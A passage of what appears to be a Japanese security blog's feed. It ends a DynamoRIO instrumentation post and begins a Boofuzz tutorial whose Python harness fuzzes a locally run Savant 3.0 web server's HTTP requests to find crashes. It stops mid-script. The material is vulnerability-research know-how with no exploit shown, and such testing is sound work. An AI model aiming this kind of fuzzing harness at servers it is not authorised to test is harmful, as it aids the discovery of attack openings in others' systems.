&lt;p&gt;countcalls.dllは、対象プログラム内のnear callのdirect callおよびindirect call、そしてreturnの3種類のopcode数をカウントすることができます。&lt;/p&gt;
&lt;p&gt;以下のコマンドでnotepad.exeに対してcountcalls.dllを実行します。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;notepadにcountcalls.dllを実行&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-bash line-numbers&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;$ &lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; dynamorio&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;build
$ bin32&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;drrun.exe &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; api&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;bin&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;countcalls.dll -- notepad
&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;上記コマンドを実行すると以下のようなポップアップで結果が得られます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200407_dynamorio/countcalls.png&quot; alt=&quot;countcalls結果画面&quot; title=&quot;countcalls結果画面&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;countcalls.dllのソースコードである&lt;a href=&quot;https://github.com/DynamoRIO/dynamorio/blob/master/api/samples/countcalls.c&quot;&gt;countcalls.c&lt;/a&gt;を見てみると、以下の様に&lt;code class=&quot;language-text&quot;&gt;if&lt;/code&gt;および&lt;code class=&quot;language-text&quot;&gt;else if&lt;/code&gt;の分岐にて対象プログラム内のnear callのdirect callおよびindirect call、そしてreturnの3種類のopcode数をカウントしていることが分かります。&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;c&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-c line-numbers&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;    &lt;span class=&quot;token comment&quot;&gt;/* instrument calls and returns -- ignore far calls/rets */&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;instr_is_call_direct&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;instr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;insert_counter_update&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;drcontext&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; bb&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; instr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                              &lt;span class=&quot;token function&quot;&gt;offsetof&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;per_thread_t&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; num_direct_calls&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;instr_is_call_indirect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;instr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;insert_counter_update&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;drcontext&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; bb&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; instr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                              &lt;span class=&quot;token function&quot;&gt;offsetof&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;per_thread_t&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; num_indirect_calls&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;instr_is_return&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;instr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;insert_counter_update&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;drcontext&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; bb&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; instr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;offsetof&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;per_thread_t&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; num_returns&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;さらに&lt;code class=&quot;language-text&quot;&gt;instr_is_call_direct()&lt;/code&gt;をDynamoRIOの&lt;a href=&quot;https://dynamorio.org/dynamorio_docs/dr__ir__instr_8h.html#a5cb0fc26f65991c24002df14abb7e461&quot;&gt;API document&lt;/a&gt;で調べてみると引数&lt;code class=&quot;language-text&quot;&gt;instr&lt;/code&gt;のopcodeが&lt;code class=&quot;language-text&quot;&gt;OP_call&lt;/code&gt;または&lt;code class=&quot;language-text&quot;&gt;OP_call_far&lt;/code&gt;の場合に&lt;code class=&quot;language-text&quot;&gt;true&lt;/code&gt;を返すことが分かります。&lt;/p&gt;
&lt;p&gt;このようにサンプルコードで使われているAPIを確認していくことでDynamoRIO APIで出来ることがつかめると思います。&lt;/p&gt;
&lt;br&gt;</content:encoded></item><item><title><![CDATA[Boofuzzで始めるネットワークプロトコルファジング]]></title><description><![CDATA[プログラムの脆弱性を見つける手法としてファジングという強力な手法があります。今回は、Boofuzzというツールを使ってWebサーバに対するHTTPプロトコルファジングを実践して脆弱性を発見します。この方法を活用してWebサーバに限らずあらゆる通信プログラムに対して脆弱性を見つけるための自動テストを行うことができます。]]></description><link>https://binarygenes.com/posts/2020-03-28-fuzzing-network-protocol-with-boofuzz</link><guid isPermaLink="false">https://binarygenes.com/posts/2020-03-28-fuzzing-network-protocol-with-boofuzz</guid><pubDate>Sat, 28 Mar 2020 02:20:10 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/media/20200328_boofuzz/boofuzz.png&quot; alt=&quot;boofuzz&quot; title=&quot;boofuzz&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;環境準備&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E7%92%B0%E5%A2%83%E6%BA%96%E5%82%99&quot; aria-label=&quot;環境準備 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;環境準備&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;Windows端末にboofuzzを&lt;strong&gt;ソースコードから&lt;/strong&gt;インストールします。手順は&lt;a href=&quot;https://boofuzz.readthedocs.io/en/stable/user/install.html&quot;&gt;boofuzzのドキュメント&lt;/a&gt;を参照してください。&lt;/p&gt;
&lt;p&gt;ドキュメントには記載されていませんが、&lt;span style=&quot;color:Crimson&quot;&gt;Python2.7を使用しないとFuzzing対象プロセスを監視するprocess_monitor.pyが動作しません&lt;/span&gt;ので注意が必要です。&lt;/p&gt;
&lt;p&gt;Boofuzzは、Fuzzing toolである&lt;a href=&quot;https://github.com/OpenRCE/sulley&quot;&gt;Sulley&lt;/a&gt;の後継として作られたOSSです。BoofuzzのBooはMonsters incのBooから取っているそうです。&lt;/p&gt;
&lt;p&gt;Sulleyはもうメンテナンスされていないので、これからネットワークプロトコルファジングを始める方はBoofuzzを使うのが良いでしょう。&lt;/p&gt;
&lt;p&gt;BoofuzzはSulleyよりもネット上に落ちている情報が少ないと感じるかもしれませんが、Sulleyについて書かれた情報はBoofuzzでも活用できるものが多いはずです。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200328_boofuzz/boo.png&quot; alt=&quot;Boo&quot; title=&quot;Boo&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;fuzzing開始&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#fuzzing%E9%96%8B%E5%A7%8B&quot; aria-label=&quot;fuzzing開始 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Fuzzing開始&lt;/h2&gt;
&lt;hr&gt;
&lt;h3 id=&quot;u1-fuzzing対象とするバイナリを用意u&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u1-fuzzing%E5%AF%BE%E8%B1%A1%E3%81%A8%E3%81%99%E3%82%8B%E3%83%90%E3%82%A4%E3%83%8A%E3%83%AA%E3%82%92%E7%94%A8%E6%84%8Fu&quot; aria-label=&quot;u1 fuzzing対象とするバイナリを用意u permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;1. Fuzzing対象とするバイナリを用意&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;今回はWebサーバのSavant 3.0を実例に使用します。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200328_boofuzz/savant_icon.png&quot; alt=&quot;Savant icon&quot; title=&quot;Savant icon&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;u2-process_monitorpyを実行u&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u2-process_monitorpy%E3%82%92%E5%AE%9F%E8%A1%8Cu&quot; aria-label=&quot;u2 process_monitorpyを実行u permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;2. process_monitor.pyを実行&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;python process_monitor.py&lt;/code&gt;を実行するとプロセス監視サーバが26002番ポートで立ち上がります。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200328_boofuzz/process_monitor.png&quot; alt=&quot;process_monitor.py&quot; title=&quot;process_monitor.py&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;u3-boofuzzを実行するpythonスクリプトを用意u&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u3-boofuzz%E3%82%92%E5%AE%9F%E8%A1%8C%E3%81%99%E3%82%8Bpython%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%92%E7%94%A8%E6%84%8Fu&quot; aria-label=&quot;u3 boofuzzを実行するpythonスクリプトを用意u permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;3. Boofuzzを実行するPythonスクリプトを用意&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;以下に今回用意したサンプルスクリプトのソースコードを記載します。&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;start_commands&lt;/code&gt;と&lt;code class=&quot;language-text&quot;&gt;stop_commands&lt;/code&gt;を指定することで、&lt;strong&gt;テストケース毎にSavant.exeを実行しなおす&lt;/strong&gt;ようにしています。これをやらない場合、あるテストケースでクラッシュが発生したとしても、そのテストケース単体を入力してもクラッシュが発生しない場合があるので注意が必要です。&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;procmon=bf.pedrpc.Client(host, 26002)&lt;/code&gt;ではprocess_monitor.pyで立ち上げたプロセス監視用サーバを指定しています。&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;bf.s_initialize()&lt;/code&gt;にて、テストケースとするパケットの構造をブロックとして指定します。今回はベーシックなHTTPプロトコルの構造を指定します。&lt;/p&gt;
&lt;p&gt;プロトコル構造の指定方法については、以下サンプルスクリプトと読めばだいたい想像がつくかと思います。詳細を知りたい方は&lt;a href=&quot;https://boofuzz.readthedocs.io/en/stable/user/static-protocol-definition.html#block-manipulation&quot;&gt;Boofuzzのドキュメント&lt;/a&gt;を参照してください。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;WebサーバへのFuzzingサンプル&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-python line-numbers&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; boofuzz &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; bf
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; datetime


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    port &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;
    host &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;localhost&apos;&lt;/span&gt;
    protocol &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;tcp&apos;&lt;/span&gt;

    start_commands &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;C:\\Savant\\Savant.exe&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    stop_commands &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;wmic process where (name=&quot;Savant.exe&quot;) delete&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

    now &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; datetime&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;datetime&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;now&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    csv_log_name &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; now&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;strftime&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;%Y%m%d_%H%M%S&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;_fuzzing.csv&apos;&lt;/span&gt;
    csv_log &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;csv_log_name&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;w&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    my_logger &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;FuzzLoggerCsv&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;file_handle&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;csv_log&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

    target &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Target&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
        connection&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SocketConnection&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;host&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; port&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; proto&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;protocol&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        procmon&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pedrpc&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Client&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;host&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;26002&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        procmon_options&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&apos;start_commands&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; start_commands&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&apos;stop_commands&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; stop_commands&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    session &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Session&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
            target&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;target&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            fuzz_loggers&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;my_logger&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;s_initialize&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;name&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Request&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;s_group&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;Method&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&apos;GET&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&apos;HEAD&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&apos;POST&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&apos;PUT&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&apos;DELETE&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&apos;CONNECT&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&apos;OPTIONS&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&apos;TRACE&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;s_delim&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;space-1&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;s_string&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;/index.html&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Request-URI&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;s_delim&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;space-2&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
